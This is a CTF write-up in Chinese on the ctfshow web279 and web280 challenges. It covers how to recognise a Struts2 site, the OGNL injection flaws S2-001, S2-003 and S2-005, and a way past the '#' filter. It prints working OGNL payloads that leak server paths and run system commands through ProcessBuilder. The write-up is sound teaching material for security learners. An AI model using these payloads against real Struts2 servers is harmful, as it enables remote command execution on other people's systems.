摘要:看wp说好像ctfshow全是java的Struts2的框架漏洞 Struts2是用Java语言编写的一个基于MVC设计模式的Web应用框架 判断网站是否基于Struts2的方法 - 通过页面回显的错误消息来判断,页面不回显错误消息时则无效 - 通过网页后缀来判断,如.do .action,有可能不。
看wp说好像ctfshow全是java的Struts2的框架漏洞
Struts2是用Java语言编写的一个基于MVC设计模式的Web应用框架
判断网站是否基于Struts2的方法
- 通过页面回显的错误消息来判断,页面不回显错误消息时则无效
- 通过网页后缀来判断,如.do .action,有可能不准
- 如果配置文件中常数extension的值以逗号结尾或者有空值,指明了action可以不带后缀,那么不带后缀的uri也可能是struts2框架搭建的
- 如果使用Struts2的rest插件,其默认的struts-plugin.xml指定的请求后缀为xhtml,xml和json 判断 /struts/webconsole.html 是否存在来进行判断,需要 devMode 为 true
web279(S2-001)
给出提示echo flag
我们看到url也有提示 S2-001

s2-001是一个struts2命令执行漏洞编号
漏洞原理
struts2漏洞 S2-001是当用户提交表单数据且验证失败时,服务器使用OGNL表达式解析用户先前提交的参数值,%{value}并重新填充相应的表单数据。

加法表达式%{1+1}成功执行
我们了解下OGNL表达式三个符号%,#,$的符号的含义
%的用途是在标志的属性为字符串类型时,计算OGNL表达式%{}中的值#的用途访主要是访问非根对象属性,因为Struts 2中值栈被视为根对象,所以访问其他非根对象时,需要加#前缀才可以调用$主要是在Struts 2配置文件中,引用OGNL表达式
payload
// 获取tomcat路径
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
// 获取web路径
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
// 命令执行 env,flag就在其中
password=%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}&username=1
web280(S2-005)
我们先来了解一下S2-003
Struts2将HTTP的每个参数名解析为ognl语句执行,而ognl表达式是通过#来访问struts的对象,Struts2框架虽然过滤了#来进行过滤,但是可以通过unicode编码(u0023)或8进制(43)绕过了安全限制,达到代码执行的效果
影响版本:Struts 2.0.0 - Struts 2.0.11.2
再看S2-005,参考链接
S2-005和S2-003的原理是类似的,因为官方在修补S2-003不全面,导致用户可以绕过官方的安全配置(禁止静态方法调用和类方法执行),再次造成的漏洞,可以说是升级版的S2-005是升级版的S2-003
影响版本:Struts 2.0.0 - Struts 2.1.8.1
